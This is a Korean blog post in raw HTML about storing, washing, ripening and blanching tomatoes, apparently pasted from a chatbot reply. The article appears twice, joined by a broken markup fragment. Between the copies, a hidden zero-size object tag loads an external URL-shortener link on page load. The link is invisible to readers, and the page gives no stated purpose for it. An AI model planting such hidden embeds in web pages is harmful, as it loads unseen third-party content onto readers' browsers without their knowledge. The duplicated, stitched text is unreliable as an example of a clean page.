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<div _ngcontent-ng-c912097829="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:26">토마토, 제대로 알고 신선하게 즐기세요!</h2><p data-sourcepos="3:1-3:41">토마토 보관, 세척, 후숙, 데치기까지! 궁금한 모든 것을 알려드릴게요.</p><h3 data-sourcepos="5:1-5:14">1. 토마토 보관법</h3><p data-sourcepos="7:1-7:45">토마토는 까다로운 채소 중 하나죠. 보관 방법에 따라 신선도와 맛이 달라진답니다.</p><ul data-sourcepos="9:1-14:0">
<li data-sourcepos="9:1-10:66"><strong>완숙 토마토:</strong> 냉장보관이 좋습니다.
<ul data-sourcepos="10:3-10:66">
<li data-sourcepos="10:3-10:66">꼭지를 제거하고 키친타월로 하나씩 감싸거나, 지퍼백에 넣어 냉장 보관하면 1주일 정도 신선하게 먹을 수 있어요.</li>
</ul>
</li>
<li data-sourcepos="11:1-12:40"><strong>미숙 토마토:</strong> 실온에서 후숙시켜 먹는 것이 좋습니다.
<ul data-sourcepos="12:3-12:40">
<li data-sourcepos="12:3-12:40">바나나나 사과와 함께 두면 에틸렌 가스가 나와 후숙이 빨라져요.</li>
</ul>
</li>
<li data-sourcepos="13:1-14:0"><strong>냉동 보관:</strong> 토마토를 데쳐 껍질을 벗긴 후 냉동 보관하면 소스나 요리에 활용하기 좋습니다.</li>
</ul><p data-sourcepos="15:1-15:50"><strong>꿀팁:</strong> 토마토를 냉장고에 오래 보관하면 맛이 떨어지고 식감이 물컹해질 수 있어요.</p><h3 data-sourcepos="17:1-17:14">2. 토마토 세척법</h3><p data-sourcepos="19:1-19:30">토마토는 표면에 잔털이 많아 꼼꼼하게 세척해야 합니다.</p><ul data-sourcepos="21:1-23:0">
<li data-sourcepos="21:1-21:63">흐르는 물에 깨끗이 씻은 후 베이킹소다를 이용해 살짝 문질러 세척하면 잔류 농약 걱정 없이 섭취할 수 있어요.</li>
<li data-sourcepos="22:1-23:0">꼭지를 제거하고 흐르는 물에 씻은 후 식초를 묻힌 행주로 닦아주는 것도 좋은 방법입니다.</li>
</ul><h3 data-sourcepos="24:1-24:13">3. 토마토 후숙</h3><p data-sourcepos="26:1-26:44">토마토가 덜 익었을 때 후숙을 시켜 먹으면 더욱 달콤한 맛을 즐길 수 있습니다.</p><ul data-sourcepos="28:1-31:0">
<li data-sourcepos="28:1-28:45"><strong>실온 후숙:</strong> 따뜻한 곳에 두면 에틸렌 가스가 발생하여 후숙이 빨라져요.</li>
<li data-sourcepos="29:1-29:49"><strong>종이봉투 후숙:</strong> 종이봉투에 넣어두면 습도가 조절되어 후숙이 골고루 진행됩니다.</li>
<li data-sourcepos="30:1-31:0"><strong>과일과 함께 후숙:</strong> 사과, 바나나 등 다른 과일과 함께 두면 에틸렌 가스의 영향으로 후숙이 빨라집니다.</li>
</ul><h3 data-sourcepos="32:1-32:14">4. 토마토 데치기</h3><p data-sourcepos="34:1-34:43">토마토를 데치면 껍질을 쉽게 벗길 수 있고, 소스나 요리에 활용하기 좋습니다.</p><ul data-sourcepos="36:1-38:0">
<li data-sourcepos="36:1-36:40">끓는 물에 토마토를 십자 모양으로 칼집을 내고 넣어 살짝 데쳐줍니다.</li>
<li data-sourcepos="37:1-38:0">찬물에 넣어 식힌 후 껍질을 벗겨 사용하세요.</li>
</ul><p data-sourcepos="39:1-39:15"><strong>토마토 데치는 이유:</strong></p><ul data-sourcepos="41:1-44:0">
<li data-sourcepos="41:1-41:18">껍질을 쉽게 제거할 수 있다.</li>
<li data-sourcepos="42:1-42:24">토마토의 향과 맛을 더욱 풍부하게 한다.</li>
<li data-sourcepos="43:1-44:0">소스나 요리에 활용하기 좋다.</li>
</ul><p data-sourcepos="45:1-45:19"><strong>다양한 토마토 요리 레시피:</strong></p><ul data-sourcepos="47:1-52:0">
<li data-sourcepos="47:1-47:9">토마토 파스타</li>
<li data-sourcepos="48:1-48:10">토마토 스파게티</li>
<li data-sourcepos="49:1-49:9">토마토 샐러드</li>
<li data-sourcepos="50:1-50:8">토마토 주스</li>
<li data-sourcepos="51:1-52:0">토마토 볶음밥</li>
</ul><p data-sourcepos="53:1-53:29"><strong>더 궁금한 점이 있다면 언제든지 물어보세요!</strong></p><p data-sourcepos="55:1-55:49"><strong>키워드:</strong> 토마토 보관법, 토마토 세척, 토마토 후숙, 토마토 데치기, 토마토 요리</p><p data-sourcepos="57:1-57:30"><strong>혹시 특정 토마토 요리 레시피가 궁금하신가요?</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c912097829="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:26">토마토, 제대로 알고 신선하게 즐기세요!</h2><p data-sourcepos="3:1-3:41">토마토 보관, 세척, 후숙, 데치기까지! 궁금한 모든 것을 알려드릴게요.</p><h3 data-sourcepos="5:1-5:14">1. 토마토 보관법</h3><p data-sourcepos="7:1-7:45">토마토는 까다로운 채소 중 하나죠. 보관 방법에 따라 신선도와 맛이 달라진답니다.</p><ul data-sourcepos="9:1-14:0">
<li data-sourcepos="9:1-10:66"><strong>완숙 토마토:</strong> 냉장보관이 좋습니다.
<ul data-sourcepos="10:3-10:66">
<li data-sourcepos="10:3-10:66">꼭지를 제거하고 키친타월로 하나씩 감싸거나, 지퍼백에 넣어 냉장 보관하면 1주일 정도 신선하게 먹을 수 있어요.</li>
</ul>
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<li data-sourcepos="11:1-12:40"><strong>미숙 토마토:</strong> 실온에서 후숙시켜 먹는 것이 좋습니다.
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<li data-sourcepos="12:3-12:40">바나나나 사과와 함께 두면 에틸렌 가스가 나와 후숙이 빨라져요.</li>
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<li data-sourcepos="13:1-14:0"><strong>냉동 보관:</strong> 토마토를 데쳐 껍질을 벗긴 후 냉동 보관하면 소스나 요리에 활용하기 좋습니다.</li>
</ul><p data-sourcepos="15:1-15:50"><strong>꿀팁:</strong> 토마토를 냉장고에 오래 보관하면 맛이 떨어지고 식감이 물컹해질 수 있어요.</p><h3 data-sourcepos="17:1-17:14">2. 토마토 세척법</h3><p data-sourcepos="19:1-19:30">토마토는 표면에 잔털이 많아 꼼꼼하게 세척해야 합니다.</p><ul data-sourcepos="21:1-23:0">
<li data-sourcepos="21:1-21:63">흐르는 물에 깨끗이 씻은 후 베이킹소다를 이용해 살짝 문질러 세척하면 잔류 농약 걱정 없이 섭취할 수 있어요.</li>
<li data-sourcepos="22:1-23:0">꼭지를 제거하고 흐르는 물에 씻은 후 식초를 묻힌 행주로 닦아주는 것도 좋은 방법입니다.</li>
</ul><h3 data-sourcepos="24:1-24:13">3. 토마토 후숙</h3><p data-sourcepos="26:1-26:44">토마토가 덜 익었을 때 후숙을 시켜 먹으면 더욱 달콤한 맛을 즐길 수 있습니다.</p><ul data-sourcepos="28:1-31:0">
<li data-sourcepos="28:1-28:45"><strong>실온 후숙:</strong> 따뜻한 곳에 두면 에틸렌 가스가 발생하여 후숙이 빨라져요.</li>
<li data-sourcepos="29:1-29:49"><strong>종이봉투 후숙:</strong> 종이봉투에 넣어두면 습도가 조절되어 후숙이 골고루 진행됩니다.</li>
<li data-sourcepos="30:1-31:0"><strong>과일과 함께 후숙:</strong> 사과, 바나나 등 다른 과일과 함께 두면 에틸렌 가스의 영향으로 후숙이 빨라집니다.</li>
</ul><h3 data-sourcepos="32:1-32:14">4. 토마토 데치기</h3><p data-sourcepos="34:1-34:43">토마토를 데치면 껍질을 쉽게 벗길 수 있고, 소스나 요리에 활용하기 좋습니다.</p><ul data-sourcepos="36:1-38:0">
<li data-sourcepos="36:1-36:40">끓는 물에 토마토를 십자 모양으로 칼집을 내고 넣어 살짝 데쳐줍니다.</li>
<li data-sourcepos="37:1-38:0">찬물에 넣어 식힌 후 껍질을 벗겨 사용하세요.</li>
</ul><p data-sourcepos="39:1-39:15"><strong>토마토 데치는 이유:</strong></p><ul data-sourcepos="41:1-44:0">
<li data-sourcepos="41:1-41:18">껍질을 쉽게 제거할 수 있다.</li>
<li data-sourcepos="42:1-42:24">토마토의 향과 맛을 더욱 풍부하게 한다.</li>
<li data-sourcepos="43:1-44:0">소스나 요리에 활용하기 좋다.</li>
</ul><p data-sourcepos="45:1-45:19"><strong>다양한 토마토 요리 레시피:</strong></p><ul data-sourcepos="47:1-52:0">
<li data-sourcepos="47:1-47:9">토마토 파스타</li>
<li data-sourcepos="48:1-48:10">토마토 스파게티</li>
<li data-sourcepos="49:1-49:9">토마토 샐러드</li>
<li data-sourcepos="50:1-50:8">토마토 주스</li>
<li data-sourcepos="51:1-52:0">토마토 볶음밥</li>
</ul><p data-sourcepos="53:1-53:29"><strong>더 궁금한 점이 있다면 언제든지 물어보세요!</strong></p><p data-sourcepos="55:1-55:49"><strong>키워드:</strong> 토마토 보관법, 토마토 세척, 토마토 후숙, 토마토 데치기, 토마토 요리</p><p data-sourcepos="57:1-57:30"><strong>혹시 특정 토마토 요리 레시피가 궁금하신가요?</strong></p></div>
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